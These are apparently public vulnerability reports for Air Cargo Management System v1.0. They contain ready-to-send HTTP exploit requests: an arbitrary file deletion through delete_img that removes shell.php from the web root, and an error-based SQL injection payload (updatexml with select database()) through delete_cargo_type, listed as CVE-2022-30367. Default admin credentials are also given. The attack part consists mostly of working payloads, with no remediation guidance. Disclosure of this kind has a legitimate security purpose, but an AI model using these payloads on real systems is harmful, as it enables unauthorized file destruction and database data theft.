vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

Vulnerability File: /acms/classes/Master.php?f=delete\_img

Vulnerability location: /acms/classes/Master.php?f=delete\_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shel.php file in the root directory

POST /acms/classes/Master.php?f\=delete\_img HTTP/1.1
Host: 192.168.1.19
Content\-Length: 45
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/acms/admin/?page=system\_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8j006kgjjl9sdts88scke1lkuq
Connection: close
path=C%3A%2Fxampp%2Fhtdocs%2Facms%2Fshell.php // Here we delete the shel.php file in the root directory

The file path needs to be encoded by url

At present, the shell.php file is still in the root directory of the website, when we send a request to delete the shell.php file

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

By this time, shell.php has been deleted.

CVE-2022-30367: bug_report/delet-file-1.md at main · k0xx11/bug_report

Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/classes/Master.php?f=delete_cargo_type.

Permalink

Cannot retrieve contributors at this time

**Air Cargo Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

The password for the backend login account is: admin/admin123

Vulnerability File: /acms/classes/Master.php?f=delete\_cargo\_type

Vulnerability location: /acms/classes/Master.php?f=delete\_cargo\_type, id

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /acms/classes/Master.php?f\=delete\_cargo\_type HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/acms/admin/?page=cargo\_types
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8j006kgjjl9sdts88scke1lkuq
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

Tag

#apple